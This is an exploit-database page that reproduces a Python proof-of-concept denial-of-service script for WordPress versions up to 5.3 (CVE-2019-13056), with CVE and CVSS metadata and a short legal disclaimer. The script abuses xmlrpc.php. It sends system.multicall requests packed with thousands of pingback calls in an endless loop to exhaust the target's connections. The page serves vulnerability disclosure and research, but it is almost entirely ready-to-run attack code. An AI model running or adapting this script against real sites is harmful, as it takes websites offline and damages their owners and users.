Advertisement






WordPress Core < 5.3.x xmlrpc.php Denial of Service

CVE Category Price Severity
CVE-2019-13056 CWE-399 Not specified High
Author Risk Exploitation Type Date
Not specified High Remote 2019-12-21
CPE
cpe:cpe:/a:wordpress:wordpress:5.3
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019120088

Below is a copy:

WordPress Core < 5.3.x xmlrpc.php Denial of Service
#!/usr/bin/env python
# WordPress <= 5.3.? Denial-of-Service PoC
# Abusing pingbacks+xmlrpc multicall to exhaust connections
# @roddux 2019 | Arcturus Security | labs.arcturus.net
# TODO:
# - Try and detect a pingback URL on target site
# - Optimise number of entries per request, check class-wp-xmlrpc-server.php
from urllib.parse import urlparse
import sys, uuid, urllib3, requests
urllib3.disable_warnings()

DEBUG = True 
def dprint(X):
if DEBUG: print(X)

COUNT=0
def build_entry(pingback,target):
global COUNT
COUNT +=1
entry  = "<value><struct><member><name>methodName</name><value>pingback.ping</value></member><member>"
entry += f"<name>params</name><value><array><data><value>{pingback}/{COUNT}</value>"
#entry += f"<name>params</name><value><array><data><value>{pingback}/{uuid.uuid4()}</value>"
entry += f"<value>{target}/?p=1</value></data></array></value></member></struct></value>"
#entry += f"<value>{target}/#e</value></data></array></value></member></struct></value>" # taxes DB more
return entry

def build_request(pingback,target,entries):
prefix   = "<methodCall><methodName>system.multicall</methodName><params><param><array>"
suffix   = "</array></param></params></methodCall>"
request  = prefix
for _ in range(0,entries): request += build_entry(pingback,target)
request += suffix
return request

def usage_die():
print(f"[!] Usage: {sys.argv[0]} <check/attack> <pingback url> <target url>")
exit(1)

def get_args():
if len(sys.argv) != 4: usage_die()
action   = sys.argv[1]
pingback = sys.argv[2]
target   = sys.argv[3]
if action not in ("check","attack"): usage_die()
for URL in (pingback,target):
res = urlparse(URL)
if not all((res.scheme,res.netloc)): usage_die()
return (action,pingback,target)

def main(action,pingback,target):
print("[>] WordPress <= 5.3.? Denial-of-Service PoC")
print("[>] @roddux 2019 | Arcturus Security | labs.arcturus.net")
# he checc
if action == "check":    entries = 2
# he attacc
elif action == "attack": entries = 2000
# but most importantly
print(f"[+] Running in {action} mode")
# he pingbacc
print(f"[+] Got pingback URL \"{pingback}\"")
print(f"[+] Got target URL \"{target}\"")
print(f"[+] Building {entries} pingback calls")
# entries = 1000 # TESTING
xmldata = build_request(pingback,target,entries)
dprint("[+] Request:\n")
dprint(xmldata+"\n")
print(f"[+] Request size: {len(xmldata)} bytes")
if action == "attack":
print("[+] Starting attack loop, CTRL+C to stop...")
rcount = 0
try:
while True:
try:
resp  = requests.post(f"{target}/xmlrpc.php", xmldata, verify=False, allow_redirects=False, timeout=.2)
#dprint(resp.content.decode("UTF-8")[0:500]+"\n")
if resp.status_code != 200:
print(f"[!] Received odd status ({resp.status_code}) -- DoS successful?")
except (requests.exceptions.Timeout, requests.exceptions.ConnectionError) as e:
pass
rcount += 1
print(f"\r[+] Requests sent: {rcount}",end="")
except KeyboardInterrupt:
print("\n[>] Attack finished",end="\n\n")
exit(0)
elif action == "check":
print("[+] Sending check request")
try:
resp = requests.post(f"{target}/xmlrpc.php", xmldata, verify=False, allow_redirects=False, timeout=10)
if resp.status_code != 200:
print(f"[!] Received odd status ({resp.status_code}) -- check target url")
print("[+] Request sent")
print("[+] Response headers:\n")
print(resp.headers)
print("[+] Response dump:")
print(resp.content.decode("UTF-8"))
print("[+] Here's the part where you figure out if it's vulnerable, because I CBA to code it")
except (requests.exceptions.Timeout, requests.exceptions.ConnectionError) as e:
print("[!] Connection error")
exit(1)
print("[>] Check finished")

if __name__ == "__main__":
main(*get_args())

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum